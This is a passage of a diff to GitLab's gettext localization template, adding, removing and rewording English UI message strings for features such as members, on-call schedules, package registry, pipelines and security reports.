msgid "Learn more about custom project templates"
msgstr ""
@@ -15868,6 +16271,9 @@ msgstr ""
msgid "Learn more in the|pipeline schedules documentation"
msgstr ""
+msgid "Learn more."
+msgstr ""
+
msgid "Leave"
msgstr ""
@@ -15886,9 +16292,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -16209,6 +16612,9 @@ msgstr ""
msgid "Loading issues"
msgstr ""
+msgid "Loading more issues"
+msgstr ""
+
msgid "Loading snippet"
msgstr ""
@@ -16344,9 +16750,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16407,16 +16810,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16542,6 +16939,9 @@ msgstr ""
msgid "Max 100,000 events"
msgstr ""
+msgid "Max 20 characters"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16563,6 +16963,9 @@ msgstr ""
msgid "Max access level"
msgstr ""
+msgid "Max file size is 200 KB."
+msgstr ""
+
msgid "Max role"
msgstr ""
@@ -16704,6 +17107,9 @@ msgstr ""
msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
+msgid "Members listed as CODEOWNERS of affected files."
+msgstr ""
+
msgid "Members of %{group} can also merge into this branch: %{branch}"
msgstr ""
@@ -16725,6 +17131,9 @@ msgstr ""
msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
msgstr ""
+msgid "Members|2FA"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -16758,9 +17167,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16770,12 +17188,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16794,6 +17221,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16899,6 +17329,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17563,6 +17996,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17614,9 +18050,6 @@ msgstr ""
msgid "Mirror user"
msgstr ""
-msgid "Mirrored branches will have this prefix. If you enabled 'Only mirror protected branches' you need to include this prefix on protected branches in this project or nothing will be mirrored."
-msgstr ""
-
msgid "Mirrored repositories"
msgstr ""
@@ -17653,7 +18086,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17800,9 +18233,6 @@ msgstr ""
msgid "Multiple domains are supported."
msgstr ""
-msgid "Multiple issue boards"
-msgstr ""
-
msgid "Multiple model types found: %{model_types}"
msgstr ""
@@ -18143,9 +18573,6 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
-msgstr ""
-
msgid "New %{issueType}"
msgstr ""
@@ -18253,6 +18680,12 @@ msgstr ""
msgid "New group"
msgstr ""
+msgid "New group URL"
+msgstr ""
+
+msgid "New group name"
+msgstr ""
+
msgid "New health check access token has been generated!"
msgstr ""
@@ -18298,6 +18731,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18586,9 +19022,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18646,6 +19079,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18658,6 +19094,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18736,9 +19175,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18754,6 +19199,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18763,6 +19211,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18889,6 +19340,96 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Are you sure you want to delete the \"%{deleteSchedule}\" schedule? This action cannot be undone."
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Delete rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Delete schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Edit rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Edit schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to edit schedule"
+msgstr ""
+
+msgid "OnCallSchedules|On-call schedule"
+msgstr ""
+
+msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgstr ""
+
+msgid "OnCallSchedules|Rotation length"
+msgstr ""
+
+msgid "OnCallSchedules|Rotation name cannot be empty"
+msgstr ""
+
+msgid "OnCallSchedules|Rotation participants cannot be empty"
+msgstr ""
+
+msgid "OnCallSchedules|Rotation start date cannot be empty"
+msgstr ""
+
+msgid "OnCallSchedules|Rotations"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select participant"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
+msgid "OnCallSchedules|The schedule could not be deleted. Please try again."
+msgstr ""
+
+msgid "OnCallSchedules|The schedule could not be updated. Please try again."
+msgstr ""
+
+msgid "OnCallSchedules|Try adding a rotation"
+msgstr ""
+
+msgid "OnCallSchedules|Your schedule has been successfully created and all alerts from this project will now be routed to this schedule. Currently, only one schedule can be created per project. More coming soon! To add individual users to this schedule, use the add a rotation button."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18904,9 +19445,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18931,9 +19469,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18946,6 +19481,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18978,9 +19519,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -19131,9 +19669,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -19233,10 +19768,7 @@ msgstr ""
msgid "Package type must be PyPi"
msgstr ""
-msgid "PackageRegistry|%{name} version %{version} was created %{datetime}"
-msgstr ""
-
-msgid "PackageRegistry|%{name} version %{version} was updated %{datetime}"
+msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
msgstr ""
msgid "PackageRegistry|Add Conan Remote"
@@ -19254,7 +19786,7 @@ msgstr ""
msgid "PackageRegistry|App name: %{name}"
msgstr ""
-msgid "PackageRegistry|Commit %{link} on branch %{branch}"
+msgid "PackageRegistry|Built by pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Composer"
@@ -19314,6 +19846,9 @@ msgstr ""
msgid "PackageRegistry|Copy yarn setup command"
msgstr ""
+msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -19338,6 +19873,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19377,10 +19915,16 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
-msgid "PackageRegistry|Pip Command"
+msgid "PackageRegistry|Package has %{number} archived update"
+msgstr ""
+
+msgid "PackageRegistry|Package has %{number} archived updates"
msgstr ""
-msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
+msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
+msgstr ""
+
+msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
@@ -19452,6 +19996,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19479,7 +20026,7 @@ msgstr ""
msgid "PagerDutySettings|Active"
msgstr ""
-msgid "PagerDutySettings|Create a GitLab issue for each PagerDuty incident by %{docsLink}"
+msgid "PagerDutySettings|Create a GitLab incident for each PagerDuty incident by %{linkStart}configuring a webhook in PagerDuty%{linkEnd}"
msgstr ""
msgid "PagerDutySettings|Failed to update Webhook URL"
@@ -19491,18 +20038,12 @@ msgstr ""
msgid "PagerDutySettings|Resetting the webhook URL for this project will require updating this integration's settings in PagerDuty."
msgstr ""
-msgid "PagerDutySettings|Setting up a webhook with PagerDuty will automatically create a GitLab issue for each PagerDuty incident."
-msgstr ""
-
msgid "PagerDutySettings|Webhook URL"
msgstr ""
msgid "PagerDutySettings|Webhook URL update was successful"
msgstr ""
-msgid "PagerDutySettings|configuring a webhook in PagerDuty"
-msgstr ""
-
msgid "Pages"
msgstr ""
@@ -19704,6 +20245,9 @@ msgstr ""
msgid "Personal Access Token"
msgstr ""
+msgid "Personal Access Token prefix"
+msgstr ""
+
msgid "Personal project creation is not allowed. Please contact your administrator with questions"
msgstr ""
@@ -19740,6 +20284,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19749,6 +20296,15 @@ msgstr ""
msgid "Pipeline: %{status}"
msgstr ""
+msgid "PipelineCharts|An error has ocurred when retrieving the analytics data"
+msgstr ""
+
+msgid "PipelineCharts|An error has ocurred when retrieving the pipelines data"
+msgstr ""
+
+msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
+msgstr ""
+
msgid "PipelineCharts|CI / CD Analytics"
msgstr ""
@@ -19764,6 +20320,9 @@ msgstr ""
msgid "PipelineCharts|Successful:"
msgstr ""
+msgid "PipelineCharts|There was an error parsing the data for the charts."
+msgstr ""
+
msgid "PipelineCharts|Total duration:"
msgstr ""
@@ -19848,9 +20407,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19896,6 +20452,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19908,6 +20467,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19917,6 +20479,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -20142,6 +20710,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -20151,7 +20722,7 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
+msgid "Please copy, download, or print your recovery codes before proceeding."
msgstr ""
msgid "Please create a password for your new account."
@@ -20178,6 +20749,9 @@ msgstr ""
msgid "Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "Please enter a valid hex (#RRGGBB or #RGB) color value"
+msgstr ""
+
msgid "Please enter a valid number"
msgstr ""
@@ -20388,6 +20962,12 @@ msgstr ""
msgid "Prev"
msgstr ""
+msgid "Prevent MR approvals by the author."
+msgstr ""
+
+msgid "Prevent MR approvals from users who make commits to the MR."
+msgstr ""
+
msgid "Prevent adding new members to project membership within this group"
msgstr ""
@@ -20439,6 +21019,9 @@ msgstr ""
msgid "Primary"
msgstr ""
+msgid "Print codes"
+msgstr ""
+
msgid "Prioritize"
msgstr ""
@@ -20574,6 +21157,9 @@ msgstr ""
msgid "Profiles|@username"
msgstr ""
+msgid "Profiles|Account could not be deleted. GitLab was unable to verify your identity."
+msgstr ""
+
msgid "Profiles|Account scheduled for removal."
msgstr ""
@@ -20676,6 +21262,9 @@ msgstr ""
msgid "Profiles|Full name"
msgstr ""
+msgid "Profiles|GitLab is unable to verify your identity automatically."
+msgstr ""
+
msgid "Profiles|Give your individual key a title."
msgstr ""
@@ -20724,6 +21313,9 @@ msgstr ""
msgid "Profiles|Path"
msgstr ""
+msgid "Profiles|Please email %{data_request} to begin the account deletion process."
+msgstr ""
+
msgid "Profiles|Position and size your new avatar"
msgstr ""
@@ -20958,9 +21550,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -21168,12 +21757,18 @@ msgstr ""
msgid "ProjectSettings|Allow"
msgstr ""
+msgid "ProjectSettings|Allow editing commit messages"
+msgstr ""
+
msgid "ProjectSettings|Allow users to make copies of your repository to a new project"
msgstr ""
msgid "ProjectSettings|Allow users to request access"
msgstr ""
+msgid "ProjectSettings|Analytics"
+msgstr ""
+
msgid "ProjectSettings|Automatically resolve merge request diff discussions when they become outdated"
msgstr ""
@@ -21417,12 +22012,18 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|View project analytics"
+msgstr ""
+
msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
msgstr ""
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
+msgid "ProjectSettings|When enabled, commit authors will be able to edit commit messages on unprotected branches."
+msgstr ""
+
msgid "ProjectSettings|When enabled, issues, merge requests, and snippets will always show thumbs-up and thumbs-down award emoji buttons."
msgstr ""
@@ -21441,9 +22042,6 @@ msgstr ""
msgid "ProjectTemplates|Android"
msgstr ""
-msgid "ProjectTemplates|Basic"
-msgstr ""
-
msgid "ProjectTemplates|GitLab Cluster Management"
msgstr ""
@@ -21498,7 +22096,7 @@ msgstr ""
msgid "ProjectTemplates|SalesforceDX"
msgstr ""
-msgid "ProjectTemplates|Serenity Valley"
+msgid "ProjectTemplates|Sample GitLab Project"
msgstr ""
msgid "ProjectTemplates|Serverless Framework/JS"
@@ -22119,6 +22717,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -22480,9 +23081,6 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
-msgid "Remove all approvals in a merge request when new commits are pushed to its source branch"
-msgstr ""
-
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -22681,9 +23279,6 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
-msgstr ""
-
msgid "Reopen %{issueType}"
msgstr ""
@@ -22772,10 +23367,9 @@ msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more th
msgstr ""
msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
-msgstr ""
-
-msgid "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
-msgstr ""
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
@@ -22809,6 +23403,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22881,6 +23480,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Historic Test Coverage Data is available in raw format (.csv) for further analysis."
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -22893,7 +23495,7 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
-msgid "RepositoriesAnalytics|Projects with Tests"
+msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
msgid "RepositoriesAnalytics|Test Code Coverage"
@@ -22902,9 +23504,6 @@ msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
-msgid "RepositoriesAnalytics|Total Number of Coverages"
-msgstr ""
-
msgid "Repository"
msgstr ""
@@ -22932,6 +23531,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22968,7 +23570,7 @@ msgstr ""
msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22977,9 +23579,6 @@ msgstr ""
msgid "Request Access"
msgstr ""
-msgid "Request Headers"
-msgstr ""
-
msgid "Request details"
msgstr ""
@@ -23022,7 +23621,10 @@ msgstr ""
msgid "Require all users to accept Terms of Service and Privacy Policy when they access GitLab."
msgstr ""
-msgid "Require user password to approve"
+msgid "Require new approvals when new commits are added to an MR."
+msgstr ""
+
+msgid "Require user password for approvals."
msgstr ""
msgid "Require users to prove ownership of custom domains"
@@ -23049,9 +23651,6 @@ msgstr ""
msgid "Requirement %{reference} has been updated"
msgstr ""
-msgid "Requirement title"
-msgstr ""
-
msgid "Requirement title cannot have more than %{limit} characters."
msgstr ""
@@ -23158,12 +23757,6 @@ msgstr ""
msgid "Response"
msgstr ""
-msgid "Response Headers"
-msgstr ""
-
-msgid "Response Status"
-msgstr ""
-
msgid "Response didn't include `service_desk_address`"
msgstr ""
@@ -23265,6 +23858,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -23285,6 +23881,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23354,6 +23953,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23525,9 +24127,6 @@ msgstr ""
msgid "SSL Verification:"
msgstr ""
-msgid "Sample Data"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -23546,9 +24145,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23567,7 +24163,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23612,9 +24208,6 @@ msgstr ""
msgid "Scope"
msgstr ""
-msgid "Scoped issue boards"
-msgstr ""
-
msgid "Scopes"
msgstr ""
@@ -23627,9 +24220,6 @@ msgstr ""
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23732,6 +24322,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23762,6 +24355,9 @@ msgstr ""
msgid "SearchAutocomplete|Merge requests assigned to me"
msgstr ""
+msgid "SearchAutocomplete|Merge requests that I'm a reviewer"
+msgstr ""
+
msgid "SearchAutocomplete|in all GitLab"
msgstr ""
@@ -23771,9 +24367,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23853,6 +24446,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23892,16 +24488,16 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
-msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgid "SecurityApprovals|Configurable if security scanners are enabled. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}Learn more%{linkEnd}."
msgstr ""
msgid "SecurityApprovals|Requires approval for Denied licenses. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityConfiguration|An error occurred while creating the merge request."
@@ -24015,9 +24611,15 @@ msgstr ""
msgid "SecurityReports|Dismissed '%{vulnerabilityName}'. Turn off the hide dismissed toggle to view."
msgstr ""
+msgid "SecurityReports|Download %{artifactName}"
+msgstr ""
+
msgid "SecurityReports|Download Report"
msgstr ""
+msgid "SecurityReports|Download results"
+msgstr ""
+
msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
@@ -24039,6 +24641,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -24087,6 +24692,9 @@ msgstr ""
msgid "SecurityReports|Scan details"
msgstr ""
+msgid "SecurityReports|Scanner"
+msgstr ""
+
msgid "SecurityReports|Security Dashboard"
msgstr ""
@@ -24096,6 +24704,9 @@ msgstr ""
msgid "SecurityReports|Security reports help page link"
msgstr ""
+msgid "SecurityReports|Security scans have run"
+msgstr ""
+
msgid "SecurityReports|Security scans have run. Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
msgstr ""
@@ -24170,6 +24781,12 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Upgrade to interact, track and shift left with vulnerability management features in the UI."
+msgstr ""
+
+msgid "SecurityReports|Upgrade to manage vulnerabilities"
+msgstr ""
+
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -24323,9 +24940,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24455,9 +25069,6 @@ msgstr ""
msgid "September"
msgstr ""
-msgid "Serenity Valley Sample Data template."
-msgstr ""
-
msgid "SeriesFinalConjunction|and"
msgstr ""
@@ -24590,9 +25201,6 @@ msgstr ""
msgid "Set a default template for issue descriptions."
msgstr ""
-msgid "Set a number of approvals required, the approvers and other approval settings."
-msgstr ""
-
msgid "Set a password on your account to pull or push via %{protocol}."
msgstr ""
@@ -24830,6 +25438,9 @@ msgstr ""
msgid "Shared runners are disabled for the parent group"
msgstr ""
+msgid "Shared runners are disabled on group level"
+msgstr ""
+
msgid "Shared runners disabled on group level"
msgstr ""
@@ -24851,6 +25462,9 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
+msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
+msgstr ""
+
